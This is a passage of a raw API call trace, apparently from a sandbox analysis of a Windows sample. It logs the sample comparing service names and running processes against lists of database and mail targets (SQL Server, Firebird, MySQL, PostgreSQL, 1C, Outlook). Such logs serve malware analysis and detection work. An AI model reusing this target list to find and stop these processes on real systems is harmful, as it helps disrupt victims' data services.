lstrlenW (lpString="SysMain") returned 7 [0037.719] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0037.719] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0037.719] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0037.719] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0037.719] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0037.719] lstrlenW (lpString="Themes") returned 6 [0037.719] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0037.719] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0037.719] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0037.719] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0037.719] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0037.719] lstrlenW (lpString="TrkWks") returned 6 [0037.719] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0037.720] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0037.720] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0037.720] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0037.720] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0037.720] lstrlenW (lpString="UxSms") returned 5 [0037.720] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0037.720] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0037.720] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0037.720] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0037.720] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0037.720] lstrlenW (lpString="VSS") returned 3 [0037.720] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0037.720] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0037.720] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0037.720] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0037.720] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0037.720] lstrlenW (lpString="WdiServiceHost") returned 14 [0037.720] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0037.720] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0037.720] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0037.732] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0037.732] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0037.732] lstrlenW (lpString="WdiSystemHost") returned 13 [0037.732] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0037.732] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0037.732] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0037.732] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0037.732] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0037.732] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0037.732] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0037.732] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0037.732] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0037.732] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0037.732] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0037.732] lstrlenW (lpString="Winmgmt") returned 7 [0037.732] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0037.732] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0037.732] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0037.732] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0037.732] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0037.732] lstrlenW (lpString="WPDBusEnum") returned 10 [0037.732] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0037.732] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0037.732] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0037.732] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0037.732] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0037.732] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fe18a0 | out: hHeap=0x4b0000) returned 1 [0037.732] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x19c [0037.735] Process32FirstW (in: hSnapshot=0x19c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0037.735] Process32NextW (in: hSnapshot=0x19c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0037.736] lstrlenW (lpString="System") returned 6 [0037.736] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0037.736] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0037.736] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0037.736] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0037.736] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0037.736] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0037.736] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0037.736] Process32NextW (in: hSnapshot=0x19c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0037.737] lstrlenW (lpString="smss.exe") returned 8 [0037.737] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0037.737] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0037.737] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0037.737] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0037.737] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0037.737] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0037.737] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0037.737] Process32NextW (in: hSnapshot=0x19c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0037.738] lstrlenW (lpString="csrss.exe") returned 9 [0037.738] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0037.738] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0037.738] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0037.738] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0037.738] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0037.738] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0037.738] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0037.738] Process32NextW (in: hSnapshot=0x19c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0037.739] lstrlenW (lpString="wininit.exe") returned 11 [0037.739] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0037.739] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0037.739] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0037.739] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0037.739] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0037.739] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0037.739] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0037.739] Process32NextW (in: hSnapshot=0x19c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0037.740] lstrlenW (lpString="csrss.exe") returned 9 [0037.740] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0037.740] Process32NextW (in: hSnapshot=0x19c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0037.741] lstrlenW (lpString="winlogon.exe") returned 12 [0037.741] Process32NextW (in: hSnapshot=0x19c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0037.741] lstrlenW (lpString="services.exe") returned 12 [0037.741] Process32NextW (in: hSnapshot=0x19c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0037.742] lstrlenW (lpString="lsass.exe") returned 9 [0037.742] Process32NextW (in: hSnapshot=0x19c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0037.743] lstrlenW (lpString="lsm.exe") returned 7 [0037.743] Process32NextW (in: hSnapshot=0x19c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0037.743] lstrlenW (lpString="svchost.exe") returned 11 [0037.743] Process32NextW (in: hSnapshot=0x19c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0037.744] lstrlenW (lpString="svchost.exe") returned 11 [0037.744] Process32NextW (in: hSnapshot=0x19c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0037.745] lstrlenW (lpString="svchost.exe") returned 11 [0037.745] Process32NextW (in: hSnapshot=0x19c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0037.745] lstrlenW (lpString="svchost.exe") returned 11 [0037.745] Process32NextW (in: hSnapshot=0x19c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0037.746] lstrlenW (lpString="svchost.exe") returned 11 [0037.746] Process32NextW (in: hSnapshot=0x19c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0037.747] lstrlenW (lpString="audiodg.exe") returned 11 [0037.747] Process32NextW (in: hSnapshot=0x19c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0037.747] lstrlenW (lpString="svchost.exe") returned 11 [0037.747] Process32NextW (in: hSnapshot=0x19c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0037.748] lstrlenW (lpString="svchost.exe") returned 11 [0037.748] Process32NextW (in: hSnapshot=0x19c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0037.749] lstrlenW (lpString="dwm.exe") returned 7 [0037.749] Process32NextW (in: hSnapshot=0x19c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0037.749] lstrlenW (lpString="explorer.exe") returned 12 [0037.749] Process32NextW (in: hSnapshot=0x19c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0037.750] lstrlenW (lpString="spoolsv.exe") returned 11 [0037.750] Process32NextW (in: hSnapshot=0x19c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0037.751] lstrlenW (lpString="taskhost.exe") returned 12 [0037.751] Process32NextW (in: hSnapshot=0x19c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0037.752] lstrlenW (lpString="svchost.exe") returned 11 [0037.752] Process32NextW (in: hSnapshot=0x19c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0037.753] lstrlenW (lpString="taskeng.exe") returned 11 [0037.753] Process32NextW (in: hSnapshot=0x19c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0037.753] lstrlenW (lpString="taskhost.exe") returned 12 [0037.753] Process32NextW (in: hSnapshot=0x19c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="chem venues.exe")) returned 1 [0037.754] lstrlenW (lpString="chem venues.exe") returned 15 [0037.754] Process32NextW (in: hSnapshot=0x19c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x61c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="month.exe")) returned 1 [0037.755] lstrlenW (lpString="month.exe") returned 9 [0037.755] Process32NextW (in: hSnapshot=0x19c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="glasgow.exe")) returned 1 [0037.755] lstrlenW (lpString="glasgow.exe") returned 11 [0037.755] Process32NextW (in: hSnapshot=0x19c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="rubber.exe")) returned 1 [0037.756] lstrlenW (lpString="rubber.exe") returned 10 [0037.756] Process32NextW (in: hSnapshot=0x19c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="petroleum.exe")) returned 1 [0037.757] lstrlenW (lpString="petroleum.exe") returned 13 [0037.757] Process32NextW (in: hSnapshot=0x19c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="catalyst-ps-grammar.exe")) returned 1 [0037.757] lstrlenW (lpString="catalyst-ps-grammar.exe") returned 23 [0037.757] Process32NextW (in: hSnapshot=0x19c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="serve-collaboration-semiconductor.exe")) returned 1 [0037.758] lstrlenW (lpString="serve-collaboration-semiconductor.exe") returned 37 [0037.758] Process32NextW (in: hSnapshot=0x19c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x62c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="batman_oliver.exe")) returned 1 [0038.223] lstrlenW (lpString="batman_oliver.exe") returned 17 [0038.224] Process32NextW (in: hSnapshot=0x19c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="formation.exe")) returned 1 [0038.224] lstrlenW (lpString="formation.exe") returned 13 [0038.224] Process32NextW (in: hSnapshot=0x19c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x780, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="whole.exe")) returned 1 [0038.225] lstrlenW (lpString="whole.exe") returned 9 [0038.225] Process32NextW (in: hSnapshot=0x19c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pollution dominican rural.exe")) returned 1 [0038.226] lstrlenW (lpString="pollution dominican rural.exe") returned 29 [0038.226] Process32NextW (in: hSnapshot=0x19c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="disorder.exe")) returned 1 [0038.226] lstrlenW (lpString="disorder.exe") returned 12 [0038.226] Process32NextW (in: hSnapshot=0x19c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="expenseselsewhere.exe")) returned 1 [0038.227] lstrlenW (lpString="expenseselsewhere.exe") returned 21 [0038.227] Process32NextW (in: hSnapshot=0x19c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="nextel-feeds.exe")) returned 1 [0038.228] lstrlenW (lpString="nextel-feeds.exe") returned 16 [0038.228] Process32NextW (in: hSnapshot=0x19c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="photographymiscellaneousmeters.exe")) returned 1 [0038.229] lstrlenW (lpString="photographymiscellaneousmeters.exe") returned 34 [0038.229] Process32NextW (in: hSnapshot=0x19c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="perspective.exe")) returned 1 [0038.229] lstrlenW (lpString="perspective.exe") returned 15 [0038.229] Process32NextW (in: hSnapshot=0x19c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="demand-site.exe")) returned 1 [0038.230] lstrlenW (lpString="demand-site.exe") returned 15 [0038.230] Process32NextW (in: hSnapshot=0x19c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="attachment.exe")) returned 1 [0038.231] lstrlenW (lpString="attachment.exe") returned 14 [0038.231] Process32NextW (in: hSnapshot=0x19c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="valid-permit.exe")) returned 1 [0038.231] lstrlenW (lpString="valid-permit.exe") returned 16 [0038.231] Process32NextW (in: hSnapshot=0x19c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="knights.exe")) returned 1 [0038.232] lstrlenW (lpString="knights.exe") returned 11 [0038.232] Process32NextW (in: hSnapshot=0x19c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0038.233] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0038.233] Process32NextW (in: hSnapshot=0x19c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1 [0038.234] lstrlenW (lpString="mobsync.exe") returned 11 [0038.234] Process32NextW (in: hSnapshot=0x19c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0038.234] lstrlenW (lpString="dllhost.exe") returned 11 [0038.234] Process32NextW (in: hSnapshot=0x19c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x980, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0038.235] lstrlenW (lpString="dllhost.exe") returned 11 [0038.235] Process32NextW (in: hSnapshot=0x19c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ohbdap.exe")) returned 1 [0038.236] lstrlenW (lpString="ohbdap.exe") returned 10 [0038.236] Process32NextW (in: hSnapshot=0x19c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0038.236] lstrlenW (lpString="cmd.exe") returned 7 [0038.236] Process32NextW (in: hSnapshot=0x19c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0038.237] lstrlenW (lpString="conhost.exe") returned 11 [0038.237] Process32NextW (in: hSnapshot=0x19c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, 